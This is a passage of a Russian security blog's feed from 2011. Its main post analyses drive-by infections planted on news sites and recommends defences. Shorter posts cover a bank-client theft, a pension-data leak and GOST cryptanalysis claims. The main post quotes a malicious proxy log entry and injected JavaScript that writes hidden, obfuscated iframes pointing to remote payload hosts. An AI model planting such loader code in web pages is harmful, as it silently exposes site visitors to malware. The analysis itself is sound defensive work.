href="http://reply-to-all.blogspot.com/2010/04/blog-post_27.html"&gt;умирают&lt;/a&gt;, но жалко как-то: крутится на компе, поедает его ресурсы, а эффекта мало :-(&lt;br /&gt;&lt;br /&gt;В логах прокси:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1.1.1.1 - "MSAD\BGates" [12/Oct/2011:06:10:06 +0400] "GET http://l65.in/stats8888/buble.php?key=rtgddfg%26u=root HTTP/1.0" 200 627 281 275 344 "http://&amp;lt;скрыто из этических соображений&amp;gt;/daily/25768/2753033/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)" "-" - "text/html" "default" 0.258 "-" TCP_MISS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Первая ссылка - куда пошел пользователь, вторая - Referrer - позволят предполагать откуда.&lt;br /&gt;Не надо пытаться разрешить сайт &lt;/span&gt;&lt;span style="font-family:arial;"&gt;l65.in, по нашей статистике живут такие сайты не более месяца, в большинстве случаев - несколько дней.&lt;br /&gt;&lt;br /&gt;На страничке сайта "Скрыто из этических соображений" это выглядит примерно так:&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;var rnd = Math.round(Math.random() * 100000);&lt;/span&gt;&lt;br /&gt;&lt;!--"+"if"+"ram"+"e--&gt;&lt;span style="font-family: courier new;"&gt;document.write("&amp;lt;"+"if"+"rame src="+"http://{куда-то далеко}.in/if"+"rame.php?r="+rnd+"&amp;amp;id=8 width=100% height=975 marginwidth=0 marginheight=0 scrolling=no frameborder=0&amp;gt;");&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;или совсем просто:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;iframe src="http://&amp;lt;тоже не близко&amp;gt;.in/wea54/06.php" height="0" width="0"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Можно, пройти по этим iframe и покачать бинарники, попостить их на www.virustotal.com, от чего настроение ухудшится ибо хочется верить в эффективность моего антивируса.&lt;br /&gt;&lt;br /&gt;Скажу сразу, что не все, что мы тут выкачивали из этих iframe-ов было зловредом. Такая же "технология" используется для интернет рекламы, сбора статистики посещений и раскрутки сайтов через счетчики посещений (заходя на сайт "скрыто из этических соображений" пользователи невольно заходят еще куда-то что фиксируется всякими трейсерами и кликосчетчиками). Вообще, зловред загружается со специального хостящего сайта, что создает широкое поле для фантазии админа сайта хостящего зловреды. В целом, могу предположить, что этим можно и неплохо зарабатывать.&lt;br /&gt;&lt;br /&gt;Что же делать?&lt;br /&gt;&lt;br /&gt;Безусловно, надо людям помогать, писать письма в сайты, что у них поселилось что-то. Но опыт показывает, что трудозатрат эти переписки стоят, а эффекта никакого: после нашей переписки с "скрыто из этических соображений" (известный сайт новостей) "что-то" было-таки удалено, но вскоре (на следующий день) появилось снова. Надо надеяться на себя. Что планируется предпринять:&lt;br /&gt;&lt;br /&gt;1. Ужесточить загрузку бинарников из Интернет: загружать могут только кому надо, только откуда можно, только что нужно.&lt;br /&gt;2. Если пользователь имеет мощные права (тем более админ домена, админ серверов критичных, хелпдеск с правами админа на всех десктопах и пр) - никакого интернет.. Отключить JavaScript в Acrobat-е. Можно через интерфейс - найти несложно, можно через реестр (предпочтительно, если операцию следует проделать, скажем, на 15 000 компьютеров):&lt;br /&gt;HKCU\Software\Adobe\Adobe Acrobat\10.0\JSPrefs\bEnableJS = 0&lt;br /&gt;4. Отключить все ненужные плагины в браузере. Вам нужно, чтобы документ Adobe показывался прямо из IE или Mozilla-ы? Мне это крайне неудобно.&lt;br /&gt;5. Стараться ставить все обновления на Flash, Java, Adobe, Office.&lt;br /&gt;6. Подумать об использование персональной HIPS или использовать сетевую IPS в активном режиме. Если антивирусы мертвы, то почему IPS - нет? Не знаю, но опыт показывает, что в конкретных сетевых атаках IPS достаточно эффективна. Смею предположить, что это связано с тем, что у IPS история короче и они не имеют еще многомегабайтных баз, а также с тем, что IPS фиксирует метод атаки, а антивирус конкретный контент (payload). Все-таки методов атак пока меньше, чем вариантов передаваемого зловреда. Последнее в защиту IPS: да, она шумит кучей событий, но опытному глазу этот шум помогает, а не мешает. Может, использование &lt;a href="http://en.wikipedia.org/wiki/Artificial_neural_network"&gt;нейросетей&lt;/a&gt; и/или &lt;a href="http://en.wikipedia.org/wiki/Artificial_intelligence"&gt;AI &lt;/a&gt;в антивирусах когда-нибудь станет реальностью и он будет так же эффективен сам собой, как (шумная IDS + опытный глаз), но пока счет не в их пользу. В целом, идея коллективной безопасности (или "безопасности из облаков") тут может быть эффективно, но тут диалектическая проблема: Зла уже столько, что перечислять его все уже менее эффективно, чем перечислять Добро.&lt;br /&gt;7 (самое радикальное). Перейти на системы белого списка. Это как антивирус, только на оборот: они, в отличие от антивируса, который блокирует все Зло, - не блокируют Добро, но блокируют все остальное. Системы типа &lt;a href="http://www.lumension.com/application-control-software.aspx"&gt;LAC&lt;/a&gt; или &lt;a href="http://www.mcafee.com/us/products/application-control.aspx"&gt;SolidCore &lt;/a&gt;и т.п. помогут.&lt;br /&gt;&lt;br /&gt;Если у кого будет что добавить к написанному, буду крайне признателен.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ЗЫ: я тут вот писал этот пост, вставлял фрагменты с iframe, потом нажал Publish Post и начал его смотреть. Смотрю, а все мои iframe-ы из примеров выполнились и пытаются показать свои src. Да, блоги еще то зло - даже ломать ничего не надо!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1063357035603703982?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/10/web.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1667125746985675848</guid><pubDate>Tue, 18 Oct 2011 18:31:00 +0000</pubDate><atom:updated>2011-10-18T22:46:27.612+04:00</atom:updated><title>моя полиция меня бережет</title><description>Так случилось, что 6 дней назад в конторе у знакомого со счета было украдено почти 600т.р. через программу клиент-банк. По несчастливой случайности, в момент кражи на компьютере удаленно работал аутсорсер. Но, к счастью, спустя незначительное время после перевода денег, директор запросил остатки на счету, тут то пропажа и выплыла.&lt;div&gt;Контора знакомого выполняет следующие действия:&lt;/div&gt;&lt;div&gt;1. комиссионно опечатывает компьютер, на котором стоял клиент-банк, запирает компьютер в сейф.&lt;/div&gt;&lt;div&gt;2. пишет заявление в полицию о попытке кражи&lt;/div&gt;&lt;div&gt;3. пишет заявление в банк, о с просьбой провести проверку&lt;/div&gt;&lt;div&gt;Аутсорсер:&lt;/div&gt;&lt;div&gt;1. фиксирует все журналы работы&lt;/div&gt;&lt;div&gt;2. бекапит телефонные переговоры в момент обслуживания&lt;/div&gt;&lt;div&gt;Ждем доблесную полицию. Ничего не трогаем, хотя руки чешутся посмотреть компьютер.&lt;/div&gt;&lt;div&gt;У полици есть 3 дня на рассмотрение заявления. В особых случаях, заявление рассматривается до 10 дней. У нас особый случай. Ждем....&lt;/div&gt;&lt;div&gt;Сегодня выясняется, коли кражи денег не случилось и средства вернулись счастливому хозяину, в возбуждении дела скорее всего будет отказано. Обидно. Государство дает шанс гадам попытаться украсть деньги еще раз. &lt;/div&gt;&lt;div&gt;Звоним в банк - ребяты, мы ваши клиенты, давайте поищем гадов вместе! В ответ слышим - ваше заявление отправлено в головной офис на рассмотрение. Ждите ответа. Опять обидно. Не смотря на то, что у банка есть возможность уберечь своих клиентов от жуликов, банк предпочитает соблюсти все внутренние бюрократические процедуры.&lt;/div&gt;&lt;div&gt;Ждем истечения 10ти рабочих дней и вскрываем пломбы...&lt;/div&gt;&lt;div&gt;Кстати о банке - это сбербанк.&lt;/div&gt;&lt;div&gt;Первая рекомендация - ставьте смс-информирование на движение денег по счету.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1667125746985675848?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/10/blog-post.html</link><author>noreply@blogger.com (Igor Gots)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-6623003335815155310</guid><pubDate>Fri, 02 Sep 2011 19:05:00 +0000</pubDate><atom:updated>2011-09-02T23:38:42.922+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Society</category><category domain="http://www.blogger.com/atom/ns#">Russia</category><title>Пенсионный фонд, накопления там и ПДн</title><description>&lt;span style="font-family: arial;"&gt;Ровно  такая же &lt;a href="http://www.om-saratov.ru/news/index.php?ELEMENT_ID=21389"&gt;история&lt;/a&gt; случилась с одной моей знакомой, только не там где-то, а здесь, в Московской области. Только в нашей истории не было известно кто что подделал и как какие данные утекли. Моя знакомая также получила извещение типа: "Поздравляем вас с переводом пенсионных сбережений куда-то". &lt;/span&gt;
&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Моя знакомая не поленилась, направилась в местный орган&lt;/span&gt; &lt;span style="font-family: arial;"&gt;"по работе с клиентами" пенсионного фонда РФ. Где ей "вежливые" женщины сообщили, что ее данные "утекли", что позволило злоумышленникам перевести ее пенсионные сбережения. Причем, сказано это было с таким спокойствием, как-будто это абсолютно обычная ситуация. "Ну и что же делать?", - спросила моя знакомая&lt;/span&gt;. &lt;span style="font-family: arial;"&gt;"Ну, вы можете обратиться в милицию...", - ответили "вежливые" женщины....
&lt;br /&gt;
&lt;br /&gt;Вообще, я в шоке, был изначально, но сейчас начинаю понимать, что к ряду вещей следует начинать относиться как к обыденности. Сначала мы удивлялись и возмущались тому, что пенсионный фонд ежегодно воруют, сейчас, если мы и обращаем внимание на эти новости, то лишь улыбаемся. Пенсионный фонд сейчас уже не более чем кормушка чинуш, бесцелевой налог, акциз. Я уверен, что если я и доживу до пенсии, несмотря на то, что я всю жизнь туда исправно перечисляю далеко некислые деньги (которых бы с запасом хватило, чтобы прокормить моих родителей-пенсионеров, но, как и все российские пенсионеры, они получают пенсию, которая ниже прожиточного минимума), после 60 лет я обречен волочить нищенское существование. Можно пытаться возразить, что работающих мало, а пенсионеров много и на всех не хватает.... Вот лично я почему-то в это не верю, так как очевидно, что:
&lt;br /&gt;1. далеко не все в РФ доживают до пенсии, не так уж и много их.
&lt;br /&gt;2. если я перечисляю в пенсионный фонд такие сбережения (я себя считаю низшей границей среднего класса), то что говорить о людях, получающих белую зарплату в 10 раз большую чем я? В 20 раз? Да таких отчислений хватит, чтобы содержать не один райцентр Саратовской области.
&lt;br /&gt;3. я не помню ни одного года, когда бы не стало известным, что в очередной раз своровали пенсионный фон. Складывается впечатление, что его только и делают, что воруют, а мы, традиционно, видим только вершину айсберга.
&lt;br /&gt;4. а что же наши сопрограммы? О них тоже гремит слава постоянных хищений...
&lt;br /&gt;
&lt;br /&gt;В общем, денег должно хватать, с пороками бороться надо.
&lt;br /&gt;
&lt;br /&gt;Ну а что же моя знакомая? Ну конечно она не пошла в милицию выяснять как пенсионный фонд "не защитил" ее персональные данные и почему ему &lt;a href="http://ru.wikipedia.org/wiki/%D0%A4%D0%B5%D0%B4%D0%B5%D1%80%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B7%D0%B0%D0%BA%D0%BE%D0%BD_%C2%AB%D0%9E_%D0%BF%D0%B5%D1%80%D1%81%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85%C2%BB"&gt;152-ФЗ&lt;/a&gt; по барабану. Она, как и я, не верит в Пенсионный фонд, в то, что от него к нашей с ней пенсии что-нибудь останется, что его когда-нибудь перестанут воровать, что чинуши действительно начнут развиваться духовно, а не показательно креститься перед телекамерами в дни православных праздников, что жить мы будем в старости лучше наших родителей.... жаль....
&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-6623003335815155310?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/09/blog-post.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1190520076012493909</guid><pubDate>Fri, 26 Aug 2011 16:50:00 +0000</pubDate><atom:updated>2011-08-26T21:49:54.904+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Security Incidents</category><category domain="http://www.blogger.com/atom/ns#">Enterprise Security</category><category domain="http://www.blogger.com/atom/ns#">Client security</category><title>эффективность против порядка</title><description>&lt;p&gt;   &lt;p&gt;Вы отвечаете за защиту периферии в компании. Написали множество регламентов, просматриваете журналы, проводите занятия и тп.&lt;/p&gt;  &lt;p&gt;В компании стоит... ну скажем 1000 компьютеров, мышками которых возит 1000 сотрудников.  Для ремонта мышек и их подключения, в компании создана служба технической поддержки из нескольких сотрудников. &lt;/p&gt;  &lt;p&gt;У сотрудника возникают проблемы с мышкой во момент Х.&lt;/p&gt;  &lt;p&gt;Так как мышки ломаются не чаще раза в 2 года, сотрудник втечение Х1 единиц времени думает, как решить проблему, стучит мышкой по столу, смотрит в красный глаз, курит, снова стучит и наконец, в соответствии с регламентом, звонит на телефон 22232232 (читать с выражением) и сообщает о сути проблемы. &lt;/p&gt;  &lt;p&gt;Телефонная сотрудница регистрирует заявку в "электронной системе электронных заявок" которая электронно, по электронной почте сообщает сотрудникам технической поддержки о возникновении проблемы. &lt;/p&gt;  &lt;p&gt;Через время Х2 сотрудник технической поддержки обращает внимание на сообщение и откладывает его в пачку сообщений,  которые предполагают поход в одно крыло здания.&lt;/p&gt;  &lt;p&gt;Спустя Х3 единиц времени он выходит в направлении неисправной мышки и спустя Х4 единиц, он ситуацию исправляет.&lt;/p&gt;  &lt;p&gt;Итого, на устранение неисправности ушло Х1+Х2+Х3+Х4 единиц времени. В реальной жизни это время составляет от пары часов до пары дней. Все это время сотрудник сидит и полукоматозном состоянии изучает символы на клавиатуре, сообщая руководству о невозможности исполнения служебных обязанностей.&lt;/p&gt;  &lt;p&gt;И вот находится человек, который умеет ремонтировать мышки! Но так как он двигает мышь удивительно быстро и эффективно, руководство не может использовать его как техническую поддержку, получая большую отдачу от него как от двигателя мыши.&lt;/p&gt;  &lt;p&gt;Наступает момент Х, мышь у этого человека ломается! Или он регулярно находит способы сделать мышь лучше и быстрее! Или еще хуже, он делает заявки и получает форсированные мыши 1го, затем 2го и, наконец ,7го поколения с азотным ускорителем. &lt;/p&gt;  &lt;p&gt;В первый раз он звонит на волшебный номер и ждет в течение  Х2+Х3+Х4 человека, которому компания доверила техническое обслуживание мышей. Но начальство нервничает, ведь оно привыкло видеть отдачу от сотрудника.&lt;/p&gt;  &lt;p&gt;Во второй раз и третий недовольство руководства растет....&lt;/p&gt;  &lt;p&gt;На четвертый раз наш волшебный сотрудник рассуждая "ведь моя Компания платит мне заработную плату и я не в праве сидеть, сложа руки, в то время, когда от меня ждут новых и четких движений мышью" принимает решение "я могу и я должен сам исправить проблемы мыши моего компьютера". &lt;/p&gt;  &lt;p&gt;О, ужас! Он не звонит в техническую поддержку, он не ловит системотехника в коридоре за руку! Он.... Как трудно сдержать гнев! Он нарушает стандарт утвержденный руководителем компании! Он, он... Он сам переподключил мышь! Коллеги в шоке, но они понимают - все это во благо компании!&lt;/p&gt;  &lt;p&gt;А радары службы безопасности не зря потребляют электроны один за другим. Они сигнализируют красными лампами и зуммерами о нарушении, маркируя нарушителя несмываемой краской! &lt;/p&gt;  &lt;p&gt;И вот комиссия из 3-х сотрудников сметая все на своем пути мчится к месту проступка. Нарушение будет задокументировано, нарушитель брошен в казематы, руководство уведомлено о нарушении и высокой степени эффективности новых красных ламп приобретенных взамен старых зеленых.&lt;/p&gt;  &lt;p&gt;Вроде все хорошо:&lt;/p&gt;  &lt;ol start="1" type="1"&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;Нарушитель пойман и наказан&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;Лампы сработали &lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;Системотехники не будут      мучаться с нестандартными мышами и их труд по замене стандартных девайсов      будет проще и дешевле&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;Служба безопасности      получает медали и премии&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;Руководство спит спокойно,      зная, что компания в теплых и сильных руках службы безопасности.&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;Выпущена молния, в которой      описана темная дорога нарушителя, а так же условия его нынешнего      содержания.&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Но откуда-то появляется кисловатый привкус:&lt;/p&gt;  &lt;ol start="1" type="1"&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l0 level1 lfo2;tab-stops:list 36.0pt"&gt;Средняя эффективность      использования мышей упала&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l0 level1 lfo2;tab-stops:list 36.0pt"&gt;Сотрудники стараются не      отклоняться от утвержденных траекторий движения&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;      mso-list:l0 level1 lfo2;tab-stops:list 36.0pt"&gt;Сломанных мышей начинают      бояться и на всякий случай отправляют в неоплачиваемый отпуск их      пользователей.&lt;/li&gt; &lt;/ol&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1190520076012493909?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/08/blog-post.html</link><author>noreply@blogger.com (Igor Gots)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-7829384448251769886</guid><pubDate>Tue, 02 Aug 2011 05:16:00 +0000</pubDate><atom:updated>2011-08-02T09:53:05.769+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Cryptography</category><title>Разностный криптоанализ ГОСТ 28148-89</title><description>&lt;span style="font-family: arial;"&gt;Узучая &lt;a href="http://reply-to-all.blogspot.com/2011/07/28147-89.html"&gt;тему &lt;/a&gt;решил почитать другие труды &lt;a href="http://www.nicolascourtois.me.uk/"&gt;Куртуа&lt;/a&gt;. Недолгие поиски (в статье о "взломе" ГОСТ есть ссылка) навели на &lt;a href="http://eprint.iacr.org/2011/312.pdf"&gt;данную&lt;/a&gt; публикацию&lt;/span&gt;.&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Первые несколько глав посвещены общей информации о ГОСТ, его истории. Таким образом, читать можно начинать с главы 4. Далее идут сведения о разностном криптоанализе сокращенного ГОСТ из 16 и 20 раундов, известные и ранее.&lt;br /&gt;Основной вывод представлен на странице 20, в конце главы 8.3. Из него следует, что для успешного взлома 32-раундного ГОСТа по схеме &lt;a href="http://en.wikipedia.org/wiki/Known-plaintext_attack"&gt;KPA&lt;/a&gt; с вероятностью &lt;span style="font-weight: bold;"&gt;50%&lt;/span&gt;&lt;/span&gt; &lt;span style="font-family: arial;"&gt;необходимо &lt;span style="font-weight: bold;"&gt;2^64&lt;/span&gt; пар шифртекст/открытый текст и сложность такого взлома будет &lt;span style="font-weight: bold;"&gt;2^226&lt;/span&gt;&lt;/span&gt;. &lt;span style="font-family: arial;"&gt;Более того, статья так написана, что даже этот вывод далеко не очевиден, но "компенсируется" многократными утверждениями, что этот вопрос будет прорабатываться/исследоваться в будущем.&lt;br /&gt;&lt;br /&gt;В целом, за ГОСТ я спокоен, данный труд, как и прежде, не имеет практического применения.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Может, это информационная война? Кого с кем?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-7829384448251769886?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/08/28148-89.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-8750831822887082134</guid><pubDate>Sat, 30 Jul 2011 05:45:00 +0000</pubDate><atom:updated>2011-07-30T09:53:13.780+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Russia</category><title>Yandex планирует оповещать администраторов сайтов об утечках данных</title><description>&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;&lt;/style&gt;&lt;span style="font-family: arial;"&gt;&lt;a href="http://www.kommersant.ru/news/1687077"&gt;Люб&lt;/a&gt;&lt;span style="font-family: arial;"&gt;&lt;a href="http://www.kommersant.ru/news/1687077"&gt;опытное заявление..&lt;/a&gt;.  &lt;/span&gt;а еще Яндекс может всех сканировать каким-нибудь Web-сканером безопасности и сообщать им всем об обнаруженных уязвимостях (только аккуратно, чтобы это не сильно отклонялось от работы кравлера-индексатора). В двух режимах: &lt;/span&gt;&lt;ul style="font-family: arial;"&gt;&lt;li&gt;бесплатно&lt;/li&gt;&lt;li&gt;за сервис&lt;/li&gt;&lt;/ul&gt;  &lt;p style="margin-bottom: 0cm; font-family: arial;"&gt;Также Яндекс позднее сможет войти на рынок решений &lt;a href="http://en.wikipedia.org/wiki/Data_loss_prevention_software"&gt;DLP&lt;/a&gt;, если его распознавание ПДн будет успешным (а оно будет успешным, RUNET — тестовая площадка!).&lt;/p&gt;  &lt;p style="margin-bottom: 0cm; font-family: arial;"&gt;Я только что-то не понимаю, как это будет трактоваться с т.з. ФЗ-152. Может Яндексу сразу в Роскомнадзор сообщать: "...нарушен закон об обеспечивании безопасности ПДн, данные скомпрометированы, вот доказательства..." или Яндекс, наоборот, будет не сообщать регуляторам, а тайно помогать операторам ПДн обеспечивать их безопасность. Первое поведение — не этично по отношению к операторам ПДн, второе — по отношению к субъектам ПДн. Что же делать ??&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-8750831822887082134?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/07/yandex.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-4985712518336567735</guid><pubDate>Fri, 29 Jul 2011 21:45:00 +0000</pubDate><atom:updated>2011-07-30T09:50:41.004+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Russia</category><title>О государственной безопасности</title><description>&lt;span style="font-family:arial;"&gt;При &lt;a href="http://inf-sec.blogspot.com/2011/07/security_29.html"&gt;таком&lt;/a&gt; раскладе есть два варианта развития событий.&lt;br /&gt;1. высокоморальный человек уйдет работать "на рынок".&lt;br /&gt;2. свинья (или человек, которого просто не воспитывали), назависимо от интеллекта (хотя, хочется верить, что уровень интеллекта хотя бы как-то коррелирует с пониманием об этике), будет размножать коррупцию.&lt;br /&gt;&lt;br /&gt;При первом варианте мы получим отсутствие людей на этих позициях в принципе, либо непрофессионалов. Поскольку это не так (все-таки там кто-то работает и квалификация какая-то есть), делаем весьма нехороший вывод, который меня, как патриота, угнетает...&lt;br /&gt;&lt;br /&gt;В общем, мы имеем то, что имеем :-((&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-4985712518336567735?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/07/blog-post.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-3253923877132548934</guid><pubDate>Wed, 27 Jul 2011 05:33:00 +0000</pubDate><atom:updated>2011-07-27T23:50:58.190+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Cryptography</category><title>ГОСТ 28147-89 НЕ взломан, пока...</title><description>&lt;span style="font-family:arial;"&gt;Не писал бы, но, видимо, надо. После &lt;a href="http://www.google.ru/#q=%D0%B3%D0%BE%D1%81%D1%82+%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC%D0%B0%D0%BD"&gt;ряда&lt;/a&gt; &lt;a href="http://www.anti-malware.ru/news/2011-05-21/4080"&gt;публикаций &lt;/a&gt;в &lt;a href="http://habrahabr.ru/blogs/crypto/119671/"&gt;весьма &lt;/a&gt;&lt;a href="http://lukatsky.blogspot.com/2011/05/28147-89.html"&gt;авторитетных &lt;/a&gt;&lt;a href="http://www.securitylab.ru/news/405678.php"&gt;источниках&lt;/a&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;даже среди своего небольшого отдела стал наблюдать какую-то истерию, хотя, на мой взгляд ничего не изменилось. Попробую изложить факты&lt;br /&gt;1. Я не видел в открытом доступе ни одного нормального доказательства утверждений Куртуа. Исследование Таканори Исоби, доступно только в виде &lt;a href="http://fse2011.mat.dtu.dk/slides/A%20Single-Key%20Attack%20on%20the%20Full%20GOST%20Block%20Cipher.pdf"&gt;презентации &lt;/a&gt;на FSE 2011 из которой мало что понятно. Попытки найти что-нибудь об "Algebraic Complexity Reduction" (ссылка [12] в статье Куртуа) закончились неуспешно (если у кого есть что, пожалуйста, комментарьте!), за исключением вот этого (собственно, из самой статьи):&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;The main idea is as follows: In order to reduce the attack complexity, we&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;exploit the self-similarity of the cipher and add some well-chosen assumptions&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;which produce interesting and sometimes quite non-trivial consequences due to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;the high-level structural properties of the cipher, which makes cryptanalysis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;problems smaller, simpler and easier to solve.&lt;/span&gt;" В целом, стандартный подход для любого криптоанализа, только, как следствие, подобный метод будет работать только при строго определенных условиях (на ключах с определенными зависимостями, или на специальных открытых текстах или и то и другое, или "специальные" S-блоки и т.п.), что крайне ограниченно может применяться на практике (но, тем не менее, полезно для академической науки).&lt;br /&gt;2. Сама статья Куртуа больше похожа на научно-популярный труд типа &lt;a href="http://www.schneier.com/book-applied.html"&gt;Прикладная криптография&lt;/a&gt;, (не упущу заметить, что книжка Шнаера - &lt;span style="font-weight: bold;"&gt;очень хорошая&lt;/span&gt; и я &lt;span style="font-weight: bold;"&gt;всем&lt;/span&gt; рекомендую ее почитать), где излагается общая структура ГОСТа, его история и прочее на уровне &lt;a href="http://ru.wikipedia.org/wiki/%D0%93%D0%9E%D0%A1%D0%A2_28147-89"&gt;Википидии&lt;/a&gt;. SecLab &lt;a href="http://www.securitylab.ru/news/405678.php"&gt;предложил&lt;/a&gt; практически дословный ее перевод. Из нее ничего не следует, кроме голословных утверждений.&lt;br /&gt;3. Размер блока ГОСТа - 64 бита. Если мы знаем 2^64 пар открытый текст - шифртекст - это и есть все, что нам нужно знать :-) Это - полный перебор, нам ключ не нужен, так как у нас есть все возможные открытые тексты и соответствующие (биективно!) им шифртексты.&lt;br /&gt;4. На практике  атаку &lt;a href="http://en.wikipedia.org/wiki/Known-plaintext_attack"&gt;KPA&lt;/a&gt;, накопив 2^64 (да и 2^32, как требует &lt;a href="http://fse2011.mat.dtu.dk/slides/A%20Single-Key%20Attack%20on%20the%20Full%20GOST%20Block%20Cipher.pdf"&gt;Исоби&lt;/a&gt;) пар открытый текст - шифртекст, невозможно, так как сессионный ключ меняется ЗНАЧИТЕЛЬНО чаще.&lt;br /&gt;5. Все показанные успешные компрометации ГОСТа крутятся около 8-раундной "модификации", тогда как в оригинальной реализации из 32 (!). То, что ГОСТ обладает плохими диффузионными свойствами и это 